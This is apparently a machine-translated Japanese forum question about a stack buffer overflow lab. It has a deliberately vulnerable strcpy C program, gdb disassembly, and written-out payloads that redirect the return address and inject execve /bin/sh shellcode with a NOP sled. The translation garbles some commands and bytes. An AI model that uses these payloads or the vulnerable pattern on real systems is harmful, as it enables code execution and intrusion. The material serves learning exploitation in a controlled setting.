通常はオーバーフローした関数を呼び出さない、脆弱な小さなCプログラムを作成しました。
void overflowed(){ printf( "%s\n"、 "Hijacked"); } void通常(char * st){ char buffer [80]; strcpy(buffer、st); } int main( int argc、char * argv []){ 通常(argv [1]); printf( "%s\n"、 "Regulary completed"); return 0 ; }
それをgdbで開き、オーバーフローした関数を呼び出すことができました
(gdb) あふれる オーバーフローした関数のアセンブラコードのダンプ: 0x08048436:%ebpをプッシュします 0x08048437:mov%esp、%ebp 0x08048439:%ebx [.____をプッシュします。 ] 0x0804843a:0x80484bcを呼び出します 0x0804843f:$ 0x1bc1、%eax を追加します0x08048444:lea -0x1ac0(%eax)、%edx 0x0804844a:%edx をプッシュします0x0804844b:mov%eax、%ebx 0x0804844d:0x8048310 を呼び出します0x08048452:$ 0x4、%esp を追加します0x08048455:nop 0x08048456:mov -0x4(% ebp)、%ebx 0x08048459: のままにします0x0804845a:ret アセンブラーダンプの終わりです。 $(python -c "print 'A' * 88 + '\ x36\x84\x04\x08'")を実行します 開始プログラム:/ root/vuln $(python -c "print 'A' * 88 + '\ x36\x84\x04\x08'") ハイジャック プログラムは信号SIGSEGVを受信しました、セグメンテーション違反。 0xbffff500 in ?? () (gdb)
通常、関数の終了時にブレークポイントを設定してスタックをチェックし、どのリターンアドレスを置くかを確認できます。私はそれを作りました、そしてここは出力です。シェルコードが実行されない理由がわかります。 Btwシェルコードは機能し、このシェルコードを呼び出すためにCプログラムでテスト済みです。
(gdb) $(python -c "print '\ x90' * 62 + '\ x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 '+'\xf4\xf2\xff\xbf '") デバッグ中のプログラムはすでに開始されています。 最初から開始しますか? (yまたはn)y 開始プログラム:/ root/vuln $(python -c "print '\ x90' * 62 + '\ x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 '+'\xf4\xf2\xff\xbf '") ブレークポイント2、通常(st = 0xbffff500 "")at vulnerable.c:11 11} (gdb) x/25xw $ esp0xbffff2f4:0x90909090 0x90909090 0x90909090 0x90909090 0xbffff304 :0x90909090 0x90909090 0x90909090 0x90909090 0xbffff314 :0x90909090 0x90909090 0x90909090 0x90909090 0xbffff324 :0x90909090 0x90909090 0x90909090 0xc0319090 0xbffff334:0x2f685099 0x6868732f 0x6e69622f 0x5350e389 0xbffff344:0xc031e189 0x80cd0bb0 0xbffff2f4 0xbffff500 0xbffff354:0x00000000 (gdb)cont 継続中。 プログラム受信信号SIGSEGV、セグメンテーション違反。 0xbffff345 in ?? () (gdb)
ASLRはオフになり、-fno-stack-protector、-z execstack、-no-pieでコンパイルされます。
それが失敗した理由は、悪いシェルコードが原因です。私はThe Shellcoders Handbookから入手したもので、それは魅力のように機能しました。